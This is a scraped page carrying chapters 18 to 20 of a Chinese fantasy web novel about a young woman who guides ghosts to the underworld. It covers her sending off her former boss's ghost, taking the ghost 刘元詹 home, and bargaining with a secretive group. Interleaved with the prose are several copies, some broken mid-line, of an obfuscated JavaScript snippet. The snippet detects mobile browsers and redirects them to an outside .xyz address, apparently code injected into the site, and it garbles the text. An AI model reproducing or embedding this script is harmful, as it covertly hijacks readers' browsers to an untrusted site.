;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448794|185225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一兜子的麻烦…… 被视作麻烦的人开口就抛出了另一个麻烦:“对了,他们身上有熟悉的气息。” 张祎宁尚未从前一个震惊中回过神来,“你之前见过他们?” 他很确定地回答:“没有。只是气息很熟悉,我曾经遇到过,但已是很久之前,在我的记忆范围之外,只有这个熟悉感留存了下来。” 在刘元詹的记忆范围之外,不会是在百年前吧?难道杜文新和老金也是什么不死不老的类型,虽然这个猜测让她如遭雷击般呆滞,但莫名觉得很能接受,这就是她预想中的掌簿设定啊……不老不死游离在两界之外的使者,还会点法术……根本不用费心赚钱,上头发经费吃官饷的,说不定根本不需要吃饭,和不同时代的人产生不同的际遇……张祎宁已经自动在脑海里帮他们补足了设定。 她喃喃自语:“今晚问过阎王之后就都知道了。” * 预想的迎刃而解没有到来,阎王这避重就轻的官腔打得真是让人佩服。 张祎宁有很多问题想问,为了让所有问题都能得到有效解答,她提前将它们都分条列在了纸上,洗手沐浴、焚香静心后,摆出恭敬的姿势,对着虚空喊道:“阎王?阎王爷?我有要事禀报!” 她不知道阎王只能隔空传音,还是也可以具现画面,遂做了十足十的准备,连笑容都规范到淋漓尽致地体现出“狗腿”特质。 张祎宁身体前倾,又喊了两声也没听见回应。 这是夜深睡下了还是下班不回复? 她的眼珠四下转了一圈,改变了策略,一口气说道:“阎王,以杜文新和老金为首的横组织找到我希望我加入他们,并以要将刘元詹关入他们那结界监狱作为要挟,我没直接答应,想着先来征求您的意见。” 安静等待了一会儿,虚空里传来若有似无的叹息声。 计划通!果然,大家听到类似“在吗”的问候时都不想回应,还得说正经事啊! 叹息转瞬即逝,阎王熟悉的嗓音就像在她脑海里先行响起,再传至听觉神经,“你作何想?” 我?我什么都不知道,就等着你示下啊……张祎宁思忖片刻,委婉回道:“我对他们不是太了解。” “是友非敌。” 这和她预想的一样,但又有点不同,阎王说是友,她总觉得这个表述稍许奇怪,她在完全不知道横组织的情况下第一想法即判别是友是敌,后来得知对方也是掌簿后,就不会做这样的判别了,同为掌簿,都是自己人,敌友之别从何来?难道还有坏掌簿? 她斟酌着说道:“我对他们还是知之甚少,希望能有自己的主观能动性发挥空间,但如果不加入,他们可能会把刘元詹关进去,我不愿意把关系弄僵……” 阎王打消了她的疑虑:“他们不会。” 杜文新原来是在诈她!哼!她就不信六百年都没掌簿动过念头把刘元詹抓进去?还好自己有阎王这个靠山,当时没被唬住,直接答应。 张祎宁控制不住自得,声音沾上了欣喜:“那我就拒绝他?发展独立、平等、友好的合作关系?” 阎王并不发表任何意见,含糊道:“这是你的事情。” 但她能感觉得出来阎王所想就是这样,他在诱导她拒绝,不希望她加入横,不知出于何原因。大人物都喜欢藏着掖着,享受怀揣秘密的感觉…… 既然自己顺着他的想法去做了,讨要点奖励也没什么吧……自从意识到杜文新他们身上有许多神奇之处后,她就有了非分之想。 她按下期待和激动,小心问道:“阎王爷,呃……或许,我有没有什么未被激发的能力,比如隐身、穿墙、控制鬼魂之类的?” 阎王无甚波澜地答:“没有。” 她无意识搓了搓拇指背,立马续道:“我担心拒绝他们会让他们心生芥蒂,希望可以有自保能力,而且,我手上什么筹码都没有,很难说服他们和我建立平等的合作关系。” 房间内又陷入了一片寂静,只有风扇吱嘎转动的声音,张祎宁不敢放松,依旧保持虔诚的姿势,跪坐在地,上身前倾,歪着脑袋仔细倾听。 哈喽?哈喽? 五分钟过去,张祎宁向前伸出发麻的双腿,一边捏一边抓起面前茶几上的纸张,愤愤自语:“可恶……又已读不回……都怪我太心急,把这最后一条提前问出来,前面还有那么多问题都没问呢……” 旋即,她又迟缓地不合时宜地想起小区里那个小鬼,明天又是很辛苦的一天啊。 18. 跟宠 企划成功通过了,张祎宁并不意外,企划里的内容大部分都是团队内部一致得出的结果,只有许良友不一致。 他可能曾经是个出色的领航员,但海上风浪越来越大,他却仍固执地坚守那艘破烂的三桅帆船冲上风口浪尖,可是这早已经是属于航空母舰的时代,没有人愿意同他一起葬身海底。 空无一人的楼层,许良友背对着张祎宁,自从新领导来了之后,张祎宁就没看见过他的身影,也不知道他这段时间一直猫在哪个角落。他的目光落向办公室,办公室门关着,这样看倒和原来没有不同。 企划案在今天顺利通过,张祎宁完成了他的执念,今天晚上就要把他送走。 “许总?”看他半天不出声,张祎宁耐不住地轻唤道。 九点半了,作为曾经的下属、现在的掌簿,仁慈心也就到此为止了。 “在办公室里种那么多花花草草像什么样子?能好好工作吗?”他带着不满的情绪。 这说的是新领导搬来的那些高大绿植,又设了一个盆栽架,其实还挺有生机的。 张祎宁知道他不好受,继续在这呆着只会有更多难受的事情,倒不如早早离开,洗净尘世记忆。她以公事公办的口吻问道:“许总,到点了,是不是该走了?” “嗯?哦,辛苦了,可以下班了。” 他还站在那儿,一动也不动,似是没听明白张祎宁的意思。 不管他是真没听明白,还是装作听不明白,任务已结束,无需等他开口表态,直接送走就行。张祎宁撇了撇嘴,翻开阴身簿,却没在上面看到该出现的名字,这是什么意思?又出bug了?这回她明明是完成了呀!!阎王爷来了,她也是完成了的! 张祎宁随便乱翻了几页,竖起阴身簿,对着他大喊了声“许良友!” 闹出了这个动静,他才转过身来。张祎宁紧盯着他,像是要通过眼神射出的光在他身上烧出个洞,直接让他灰飞烟灭,他的身形晃了晃,却还在原地。 “许总,我完成了你给的任务,企划案已经表决通过,按照约定,我要送你过鬼门关了。” 他不慌不忙,“明天肯定会在内部竞选企划的执行负责人,你得拿下这个位置。” “什么意思?你还得拖到明天再走?” 张祎宁的耐心逐渐告罄,不是她不体恤亡人的心情,多一天、少一天对许良友来说区别不大,但对她来说不是,许良友已经整整耗了她一个星期,多拖一天,就会多一天的变数。如果明天他又突发奇想待多几天呢?还有完没完? 许良友仍旧保持着平稳的语调回复道:“企划通过了不代表就万无一失,这个新领导谁也不知道是个什么做派,交给她我不放心。” 张祎宁扶额:“许总,我就是个刚过试用期的新人,怎么可能做项目负责人?” 许良友笑着侧目:“有我在,你就可以。负责人最后是周董拍板的,我跟了他十几年,太了解他的脾性,到时候你按照我说的去做,这个位置保管是你的。”他的语气是熟悉的信誓旦旦。 按照他说的去做,就是他最擅长的那些向上管理? “许总,该走了,投胎的人多,早点去说不定还能抢个好胎,下辈子再实现你那些商业巨鳄梦吧。”不理会他画下的饼,张祎宁的语气坚决。 “现在还不是时候,不是吗?”他的眼神里闪过一丝狡黠。 他知道,他知道我没法现在就送走他,他心知肚明,这个混蛋,他从一开始就骗了我,完完全全拿捏了我。张祎宁的头皮炸起,纷乱的思绪在脑海内绽成烟花,碎片纷乱四散。 -“他是个怎样的人?” -“简单的人,一眼便能看透。” 简单,一眼便能看透,确实很简单,许良友就是一个彻头彻尾的逐利商人,死亡无法控制,但死亡后的事情都可以算计。 张祎宁回过味来,冷嗤一声:“许良友!你从一开始就不是简单地想让我完成企划案而已,写完企划案、让它通过表决、成功落地,然后呢?落地后的运营、盈利、长线发展,你想的是全盘的计划,你人虽然死了,但你没想到竟然还有意志,又刚好是我,我可以完美地成为你的傀儡,一个你的意志的代行者。” 许良友面对她的控诉不置可否,只是不理解她的情绪为何如此激动:“我不会干涉你的其他决定,只是在这个企划上面,我们两个人加在一起绝对能够让它史无前例,成为经典,这对你而言百利无一害,名利双收,而且我根本左右不了你,现在你是站在绝对优势地位的人。” “嗯,听起来确实很完美。但我对此没有任何兴趣,我不想自己的人生就被绑在这个企划上,说实话,这个狗屁企划刚开始根本没人愿意做,所以就丢给了刚入职不久的我,通过企划不代表它就能实现你想要的成功。再者,也许别人对我提出这个提议我会心动会考虑一下,但是是你,我放弃。” “你要是还不想走随便你,你去找能帮你实现想法的掌簿吧,就当我这个星期义务劳动了,怎么说也有过雇主情不是?”张祎宁关上电脑屏幕,看也不看他一眼,掠过他大步走出门去。 气死我了,还当我是任你拿捏的下属呢,大话一套一套的,就在我为你的猝死感到不可置信和惋惜唏嘘的时候,你竟然就已经打好了小算盘怎样骗我帮你做事?黑心,太黑心了! 张祎宁一口气放完狠话后就气势汹汹地离开了,比起被气到,更准确地说她是被吓到,她无法理解许良友的执念,更是在想到被他三言两语就设局利用还不自知时感到恶寒。 她刚才任由自己被愤怒情绪占上风,放出狠话赶走许良友,就是害怕自己冷静下来想一想他的话会觉得确实有利可图,会克制不住地心动…… 她不是坐怀不乱的君子和高谈阔论的圣人,她的软肋和弱点多到可以被任何人拿捏,仅凭“吃了这么多年的苦,能不能稍微利用规则漏洞和自身的特殊优势坐享其成一下”,仅凭这样的念头,就能让她坠入万劫不复…… 但她去过阎罗殿,见过阎王,知道这世间有地狱。 上一刻提到嗓子眼的心脏,随着电梯的下行也逐渐找回落点。许良友不是那么容易放弃的人,在继续被他的糖衣炮弹攻击之前,她要去找杜文新,把这个烂皮球踢给他们。 她正计划着要怎么将许良友这个烂皮球以次充好假手于人,却不想他已经站在外面等着她了。鬼了不起啊!不用坐电梯,直接从12楼跳下来呗! 办公楼里漫出来的光只延伸到十步之内,许良友就站在十步以外的地方,站在光与暗分界线的那一端,向着张祎宁发问:“你真的不能帮帮我吗?”他完全不习惯使用这种问句,不知道和这种形式的问句相配套的不应该是生硬的语气和睥睨的眼神。 某一个中午,张祎宁的面前也有这样一条分界线,当时在她面前的鬼,选择了抬起头沐浴阳光。 她怔愣了一秒,旋即答道:“不能,也不想。” 许良友即使以鬼之身,也能耍她个团团转,她抗衡不过的,答应的下场就是失去自由。 “许良友,你放弃吧。除了我,你找不到第二个掌簿能帮你完成,”张祎宁的眼神蓦地变锐利,她盯着许良友,一步步靠近,走出大楼,“况且,我不会让你去找第二个掌簿。我确实不能通过阴身簿直接替你勾魂,但我还有很多种对付你的办法,作为掌簿,我可以把你关在一处专为鬼魂制造的监狱里,求生不得,求死不能,亲眼见证黑暗吞噬掉自己的魂体;作为张祎宁,我可以让你之前所有的努力都付之一炬,我会毁掉这个项目,或者让它面目全非。” 话说完,她已站定在许良友面前,遮住了他的最后一丝亮。 许良友的表情有一秒的松动。张祎宁不习惯直视别人的眼睛,但在这场无声的交锋里,她必须利用许良友的思维逻辑,摆出手握资本且寸步不让的剿杀姿态,压倒、压垮他。 最终,交锋以许良友先移开目光作为结束,他抬头看了眼仍有多处亮光透出的办公楼,正了正自己的领带。 “到此为止。” 他第一次在人前垂下高昂的头颅,像葬身海底终于认命的老船长。 既如此,张祎宁不再犹豫,当着他的面翻开阴身簿,“许良友”三个字还未具现完全,她犹豫了一下,还是心软问道:“你还有什么想带的话吗?” 许良友摇摇头,嘲弄道:“张祎宁,你其实和我是一样的人。” 像是所有令人讨厌的角色临终前都要留下一句模棱两可的话,他说,我和他是一样的人。 但其实,我根本不在乎他是怎样的人,也不在乎我是怎样的人。 “许良友,这次真的该走了。” 如果不算刘元詹的话,这是张祎宁耗费时间最长、最崩溃的一单,大概也是阎王被她骚扰最多的一次,她罔顾掌簿职业道德,每天都问阎王有没有办法可以直接让缠人的恶鬼灰飞烟灭,在得到否定答案后又不断投诉地府的工具不够与时俱进、工作流程不够合理化,后来,张祎宁叫他,他已经不回话了。 但没关系,以后可以不用再到阎王那里自毁形象,她可以像刚才一样先吓唬,实在不行就去问问杜文新有什么要求和条件,真把这些难缠鬼抓进去。 终于把许良友送走,已经是晚上十点半,她筋疲力尽,只想快点回家躺下睡觉,但脚下无知无觉,走上相反的方向,等她意识到时,她正在天桥阶梯上挪动步子。 空旷的天桥上,还有一只鬼站在那里,看向桥下的车水马龙。 桥上,黑灯瞎火,只有一只鬼,桥下,灯火通明,车辆络绎不绝。 这让张祎宁想起了鬼门关,一关之隔,阴阳两界,但他错位了。 “刘元詹,你怎么还在这?” 他闻言转头,脸上是一片茫然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这麻烦早就缠身了,冲着咱来的。这个城市这个时代有自己的法度,像咱们这种非法摆摊是会被取缔的,杜文新好几次都说过了我这是在界限边缘试探,这次应该就是他举报的,只是我没想到他真会这么干。” “那……”刘元詹想说什么,但看着她倦怠的双眼,生生咽下。 这时除了解决办法,再多话都是空谈。 “我刚刚送走了许良友,就上次你见到的那个我的上司。”半晌安静后,张祎宁重拾话题。 “他给你好评了吗?” 张祎宁笑了笑,“没有。” 没有跳出排行榜,那就是没有。意料之中,她没有让许良友如愿,许良友是不可能让她如意的。 提起许良友,那股疲惫感再次折返,“走了。”她忍不住打了个哈欠,背身走去。 “明天见。” 每天收摊的时候刘元詹都会这么说,她从来没回应过。她不敢承认,她对刘元詹有一种很复杂的情感,她会庆幸,还好身边有他,但也遏制不住后悔给他许下了承诺的念头,比起他所希望的明天见,张祎宁有时更希望再也不见。 而且,他们现在是真的没有明天了。 她这一刻想了很多很多,没想到短短的时间人的脑子里是可以同时想这么多事做出这么多打算的,她深吸一口气,似在说一件稀松平常的小事:“可能这一段时间我就不来了,也可能这个摊位我不要了,我还没想好,但我不想让这种事破坏掉自己生活的安稳。” 刘元詹微不可闻地“嗯”了一声,没有问她接下来的打算,也没有问然后。 她在这样的沉默里大跨步向前走去,这是难逢的好机会,一切从头开始。什么刘元詹什么杜文新,全都闪边,既然都是麻烦,那都抛得远远的不就行了吗?但她没有预想的轻松,心头沉甸甸的。 前方有手电筒的光一晃而过,因着距离过远,没有打在她的身上,只是在半空中以极快的速度游动。 张祎宁停了下来,只身在天桥,遇到任何人都是危险。 她没有犹疑,返回来到刘元詹的身侧,问道:“刘元詹,走吗?” 他疑惑地看向张祎宁,眼神里是明晃晃的不解。 没关系,她自己也不理解,仅仅是想这么做。所以,她说:“跟我回家吗?不想也没关系,我可以去初见那个公园找你。” 晚上十一点,张祎宁的身影被街上的路灯拉得长长的,像踩高跷一样,要是真有这么长就好了,那她连跨五步就可以直接到家,一头扎进软和的被子堆里。 刘元詹走在她的旁边,没有影子,她想了想,还是算了,还是不能那么长,她连跨五步可以到家,那刘元詹就被她落下了。 这回可真是捡了个跟宠回家。 19. 投诚合作 “这老头真是……” “活着还有什么意思,不如死了算……” 早晨不过七点,楼下就传来拉长了嗓门的咒骂声,听起来不像是吵架,只是单方面的发泄怒火。 这就是大院式小区最让人头疼的一点,大爷大妈醒得早嗓门也大,平时就常聚集在楼下做操、下棋、闲聊,但门窗关严实了,这样的噪音也能忍受。 今天的声音格外响,直钻进张祎宁的脑仁里搅动,好像就站在她的床头吵架一样。 她烦躁地扑腾了两下,不情不愿地将蒙住脑袋的被子扯下。 “嘶——要瞎了。”皱眉嘟囔了一声后,她翻身坐起,看向窗口。 昨晚实在太累了,进了房间没开灯就栽上床昏睡过去,窗户没关,窗帘也没拉上,刺目的阳光和嘈杂的噪音赶在闹钟响起前没有阻拦地涌入房间。张祎宁短暂斗争了一会儿,是拉上窗帘倒头再睡还是直接起床,但楼下的声音没有减弱的趋势,也许等到习惯噪音有了睡意,闹钟就会同时响起。 她来到窗边,探出头寻找声源,只看到一个老太从旁边楼栋出来,仍转头指着上方某户人家的窗子破口大骂,一旁晨练的老太凑上前,大概在询问事由,“晦气”、“倒霉”之类的词汇夹杂其中,说得异常响亮。 被吵醒的张祎宁无意八卦,但她的目光久久不能移开,追随着对方。 那个小鬼跟在老太身后。 小鬼,是了,该把这件事先解决掉。 但眼下的当务之急是门外的那只鬼。 她烦躁地抓了抓蓬乱的头发,昨晚回到房间她就后悔了,她不想混淆生活与工作的界限,不想将任何会打破她尽力维系的平和生活的不安定因素引入,可是她却把刘元詹带回了家。 一门之隔的刘元詹没有隔门窥探的本领,他那双眼也看不见人心。 记不清有几百个日夜,游走于屋舍外,未尝再踏入檐下一步。他虽然忘记了自己从何来,为何停留于此,但还记得决意幕天席地的那一日。 那户人家的储藏室里四面无窗,刘元詹误打误撞进来借宿了一晚,整夜未曾合眼,门外总有笑声传入,腊月隆冬的时节,他却觉听见了盛夏夜里喧闹不止的蝉鸣。 自此便留下了。 等到真正的蝉噪如期响起,那扇小门上开了个口子,一团黄白毛茸之物从那里探出脑袋,钻了进来。它竖直的瞳仁里映出刘元詹的身影,警惕地趴在门边,后来他们就各自占据着对角,谁也没有跨过对角线一步。 他想,自己在那户人家呆的时间不算短,如同幻梦的笑声消失后,是好长一段时间的沉寂,即使后来夜半窸窣声再度响起,笑声染上了啼哭与咒骂,他仍认为那是极好的栖息之所。 本该光滑柔软的皮毛上多出了可怖的伤口与血痂,那是它第一次走向他,围着他打转,呜呜咽咽的,蜷缩在他跟前发抖。他在那双竖直瞳仁里没有看见自己,死寂的一团黑。 刘元詹没等到天亮就离开了。 他从前觉着自己除了□□有缺外,和人也没有太大差别,在这漫长的无望年岁里,在记忆丢失又覆盖的反复里,保持住最后一点不会变的本质才不至使他形神俱灭,宛若空壳。但“人性”基石在时间洪流的冲刷下,就如同薄纸,一击即溃,再无颜色。 能活数百年的不是人,里里外外都不再是人。 阳光从窗沿爬至木地板再绕过他的脚踝,刘元詹的目光循着闯入的大片曦光眺望向阳台,熟悉的东升红日躲在楼房背后,不肯示人。片瓦蔽日,仍不大习惯。 张祎宁让他只在客厅走动,他便在罗汉床上端坐了一整夜,现下天亮了,倒有些如坐针毡。 门嘭的一下从里面打开,面面相觑。 罗汉床和他的长衫倒是相配。这是供了个祖宗在家。 “咳……那个……我要去上班,你要跟着去吗?还是呆在家里?”张祎宁不大自在地抓了抓乱发。 “都可。”刘元詹习惯性想露出个笑脸,扯了扯嘴角,没成。 他有点紧张了。 上班带着刘元詹肯定是个麻烦,要是不小心跟他说了话,被别人见到,还以为失心疯呢。许良友在的那个星期张祎宁就是这样,每次被他气得跳脚忍不住破口大骂时,同事都吓了一跳,甚至传出她情场失意情绪紊乱的小道消息。她简直有口难言,明明当着所有人的面,却在偷偷负重前行。 “那你呆在家里吧。” 他乖乖应下:“好。” 张祎宁认真审视了他一眼,看来是整晚都枯坐着,毕竟他也确实无事可做,但中国人骨子里“地主之谊”的基因让她不很自在,人既然带回来了,总得招待好吧。 环顾一圈后,她有了灵感。 有什么是可以解闷又不需要手动的乐子呢?看电视啊! 想到后她便快步走向电视,向刘元詹解释:“这个是电视,也不知道你有没有看过,相当于会动的、栩栩如生的话本,或者说更真实的皮影戏?”拿着遥控的手指灵活地上下翻飞,“看这个吧,《大明王朝》,亲切。” 她在刘元詹的脸上并未瞧见新奇,想他以前应该是看过,能毫无阻碍地穿墙入室,看过电视实属正常。 安顿好后,张祎宁急急忙忙出门上班,走到院门口时特意留神用余光瞥了眼仍聚在一起交头接耳的大妈们,但没能看见那个小鬼,不知道跑哪去了,为免被再缠上,她紧走了两步,踏出大院门。 人都走好一会儿了,刘元詹的目光还没从那扇门上挪开。 他昨晚也是由那扇门进来的。 从电视里传出来的真实的对话声和乐声在室内回荡,于白日晴空下漂浮的微尘都清晰可见,他虚握住拳,贪婪地感受此刻,名为“平凡生活”的一呼一吸。 * 张祎宁站在公司门口,深深地吸了一口气。这样的日子对同事们来说已经开始习惯,前上司猝死的阴霾早已散去,新领导雷厉风行的作风也逐渐适应,这不过是一个寻常的工作日,但对来说她不是! 送走了定时炸弹,生活重新走上正常轨道,她简直感动得要落泪。 看在最后许良友没死缠烂打的份上,张祎宁还是愿意以一个普通下属的身份,在突然想起不幸遭遇时稍稍缅怀,顺祝他轮回路称心如意。 何况珠玉在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448796|185225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,她很难不受用。新领导到任后,她能准时在七点就下班!这对一个只能用下班时间打双份工的一线掌簿,更是一个已经没有据点,往后吃了上顿要寻下顿的流浪掌簿来说,无异于雪中送炭。 她现在的首要任务是找到一个新的据点,杜文新这不由分说半威逼半利诱的橄榄枝对于现在的她而言有了十足的吸引力,坐拥矿山,抱紧大腿,混吃等死,自己做跑腿的体力活就行,可她试探过阎王的态度,也顺坡下驴地表明自己不会加入“横”。 唉,人还是要认清真正拿捏自己命脉的那双手,不能被糖衣炮弹迷惑。目前看来,杜文新明显不会对她产生实质的威胁,最多不过顺带手举报一下,但阎王一个皱眉,说不定就能把她的小命给收回。 可是不管怎么说,急当下所急,杜文新明显是条路子,就这么硬生生切断了,并把他们送到对立面,张祎宁一万个舍不得……只要是人,能张得开嘴,就一定有商量的余地。她整整一天都心不在焉,盘算着晚上单刀赴会怎么不把算珠拨到对方脸上还能和气生财。 鉴于今晚的会谈结果存在很大的变数,刘元詹又是杜文新要对付她的牌,她下班后就自己一个人直接往1980taste去了。 但让张祎宁万万没想到的是,一个本不该出现在这里的人堂而皇之地立在店门口。他和杜文新一个站在门外,一个悠闲地靠在门边,隔着不远不近的距离对望着。 “刘元詹!”苏音没抑制住声音里的惊颤,这也不怪她,一个本应乖乖坐在她家客厅沙发上看电视剧的鬼,此刻正站在有可能成为他的监牢的狱门外,还和一个对他不怀好意的腹黑男僵持着,他是真不怕啊还是低估了“横”的水平? 对视的两人循声望来,张祎宁快步跑上前,对杜文新赔了个笑脸:“你先进去?初次上门,我教教他礼数,嘿嘿。” “快点,别挡着我开门做生意。”杜文新没什么表情地转身进去。 如果刘元詹有肉身的话,张祎宁现在已经上手拧了,她按捺下怒气,低声质问道:“你怎么在这?!” 他一脸坦然:“我知道你今晚会来。” “我是问你怎么来这的!” “我记住了路。” …… 张祎宁真搞不懂这些鬼的脑回路,无奈叹道:“你这是上赶着送死。” “我若不在,他定不肯与你合作,我是你的诚意。” 她知道,刘元詹说的是对的。 她今天花了一整天的时间捋出来的条件和他说的一样。 只是她很纠结,她没有百分之百的把握能和杜文新握手言欢,在对阎王的试探时她提到了杜文新拿刘元詹要挟一事,阎王只是说他们不会这么做,没头没尾,算不得保证。 刘元詹是一张能舍的牌,既能交出去投诚,又能就此藏起自己的底牌,她不是没动念。 只是,能舍,她就要舍吗? 张祎宁心情复杂地看着面前那张不太分明的脸庞,握紧了斜挎包带。 同空气一般的存在,也想要飞蛾扑火?是绝后余生的考量,亦或是其他? 事到如今,她没得选。 20. 第三条路 和刘元詹一同踏入店门,看着窄窄一道木门在身后关上,隔绝了外界喧闹,张祎宁的心里反而平静了下来,她看了看刘元詹的身形和平时没有什么差别,看来进入店铺,只是进入结界,还不会产生实际伤害。 这一局,无论为她,还是刘元詹,都只许进,不许退了。 老金不在玻璃窗后的厨房内,和杜文新并排坐在店中央的餐椅上。 他们也走过去坐下,一时席间无话。 张祎宁笑了笑,“上次那个套餐,今天还有吗?”她是真饿了。 老金从隔壁桌面上顺手取来一张纸,是手写的今日菜单,字体竟是圆滚滚的可爱画风,和面前的这两人中任一人都不搭。 “今天有新鲜的石斑鱼。” 就在这时,横伸出一只手,盖在菜单上,“先聊正事,聊完再看看鱼还新不新鲜。” 果然又是杜文新。 这次连杯水都不准备了,张祎宁忍不住怀疑,这是为了等下没谈妥动起手来更方便掀桌。 “我回去以后非常仔细又认真地从头到尾考虑过了,我觉得你说得有道理,在天桥摆摊确实不是长久之计,也不合法度,所以我们相谈甚欢的那晚就是巴掌算命摊的最后一次营业。”张祎宁识相地不提举报的事,免得对方以为自己在埋怨,斟酌着说出下面的话:“加入你们,这个我也充分考虑过了,我觉得我们之间可以有第三条路走的。” 杜文新扶了扶眼镜,向刘元詹挑眉,问道:“所以,这是抵押物呢还是贡品?” “我们是一起来向你们提出第三种可能的。” 张祎宁的目光在二人身上逡巡片刻,见他们都没有要开口的打算,只好继续说道:“我们可以达成初步的友好合作,比如我在你们店门口支个摊子呀或是你们给我提供一点点客源,作为回报,我可以帮你们干些力所能及的跑腿活,并且,我一定会亲力亲为,把他看牢了。”既然刘元詹是合作的核心条件,她不介意灵活运用一下。 这两人终于互相对视了,只一瞬就移开视线,“不是什么好主意,麻烦。” 杜文新坐直身体,认真道:“这不是过家家游戏,你加入,你们可以一起走,你拒绝,他留下,你还是可以想做什么就做什么。” “你知道我这个人的,一言既出,驷马难追。”杜文新意有所指。 不提还好,一提张祎宁就忍不住嘀咕:“也不必赶尽杀绝吧,我上回只是说再想想,也没拒绝你,你就直接举报了,那其他摊主是无辜的呀……” 杜文新无法赞同:“无辜?不都违法吗?” 张祎宁语噎,又看了看老金,他在与此有关的事情上始终保持沉默。 “只这凡尘于我无异于灵狱,勿以介怀。” 刘元詹以为张祎宁的沉默是在纠结对他的安置上,再一次表达自己无所谓。张祎宁想也许他是真的无所谓,都只不过是自己在庸人自扰,索性破罐子破摔,向后靠在椅背上,“我也无所谓,只是阎王那里不好交代。” 想到上次提及阎王,对面二人脸色都不自然,她故技重施。官大一级压死人,把这尊大佛请出来应该能够压一压对面的威风吧?再说,她也没扯谎。 效果显著,两人不约而同地看了对方一眼,不确信地反问:“又是阎王?” 她将双手一摊,“对啊,就像你们说的,我没有什么不加入的理由,现在连摊子都没了,我需要一个晚上的考虑时间也是向上请示用的。” 这回反是老金发问:“你说的阎王,他有什么特征?” 张祎宁不大明白这个问题的意思,说道:“他跟刘元詹一样,都不喜欢好好说话,经常说些让人听不大懂的话,但是声音又很年轻,有点违和,至于长相,没敢看……”她一边说一边注意两人的细微表情变化。 杜文新接着问:“你们是怎么联络的?” “大部分情况都是单向联络。”她开始怀疑甩出“阎王”这张牌究竟是催命符还是保命符了,所以回答得小心翼翼,有所保留。 没有更多的问题被抛出,事情开始滑向诡异的沉默,张祎宁不禁疑问:“有什么问题吗?” 杜文新又问:“他不同意你加入?” 这个问题直击痛点。阎王的态度模棱两可,现在她可以把阎王搬出来泰山压顶,明天阎王也可以矢口否认,表示自己不知情。 她只得诚恳地答:“是友非敌。那位是这么说的,然后在我问到是否加入的问题上时,他没有回应。这在我看来自然是持保留态度。” “这倒是他的作风。”杜文新揶揄地笑了笑。 “这回你们能信了?我没必要也不敢说这种谎。” “如果是他的意思,我们接受。”张祎宁一直关注着杜文新的态度,这句话蓦然从老金嘴里说出时,她还没反应过来。 这是同意了?!三两句就同意了?她由衷地感受到了抱大腿的成就感,难啃的骨头毕竟还是骨头,一口铁齿铜牙才是利器。 可恶,捷径是“通向地狱的沉沦”,这话果然不错,初尝甜头的滋味真的有些上头。 为了尽量减少“靠山”对对方的压迫,她进一步献上诚意:“我们小区有一个小鬼,还没有掌簿介入,我可以提供信息和帮助,记入组织名下。” 杜文新放缓了语气,道:“这个小鬼你自己搞定,结束后再从这边拿资源。在门口支摊别想了,要来帮店里打白工倒是可以。有时我们也会有紧急情况需要协助,保持通话顺畅,虽然你没有加入我们,保有自由行动的权利,但有什么事情还是商量着来,因为从今天开始,你会出现在别人的视野里。” “别人?” 他言简意赅,又似在欲盖弥彰:“一些掌簿,一些鬼。” 张祎宁似懂非懂地点了点头,“保证完成组织任务。” 见二人都没有要添的注意事项,她犹豫了一下,还是开口问道:“呃……会开完了吧?或许那鱼还新鲜吗?”再拖下去,她不介意以一首悠长有力的腹腔共鸣曲为会议配上背景音。 老金友善地笑:“新鲜,我去做。” 张祎宁长舒一口气,确实是接受她的提议了,不管有多少不情不愿的成分,她笑着道谢:“谢谢。” 杜文新没好气地插了句风凉话:“要付钱的。” ……冷漠……奸商…… 千层面才多少钱,石斑鱼又多少钱!套路,都是套路! 张祎宁皮笑肉不笑地刺他:“平时都不见客,原来是专供掌簿的深夜食堂啊。” “是啊,下次给你试试招牌菜,鬼包子,满口生津,神魂颠倒。” 这人的嘴就像豌豆射手,开口必是要中的一击,根本贫不过他,也就没接过话茬,只是板着脸道:“服务员,水还没上。” 他起身去吧台给张祎宁倒水,不一会儿就端上了一杯柠檬水。 看着桌上的柠檬水,张祎宁的第一反应是加了片柠檬,不会也要收钱吧?但她没好意思问出口,而且杜文新很快就问道:“我很好奇,你帮阎王做事,他许了你什么?” “嗯?我们不都是掌簿吗?都在帮阎王爷做事啊。” “可是你能和他对话。” 张祎宁闻言有些惊慌,对上杜文新询问的目光,“你们不能?!” 那她之前的那番自陈暴露了太多!阎王竟然没有事先提醒她! “这天底下的掌簿没有一千也有一万,如果每个都在他耳边叽叽喳喳,什么都不用干了。” 对啊……她怎么没想到这点……坐实了走后门的定位,她大气不敢出,拿起柠檬水一饮而尽,好在杜文新说完那句话后就回到吧台了。 * 叮铃的铃铛声响起,关上有两小时之久的门再一次由内向外打开,一人一鬼从中走出,脸上都没什么表情。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 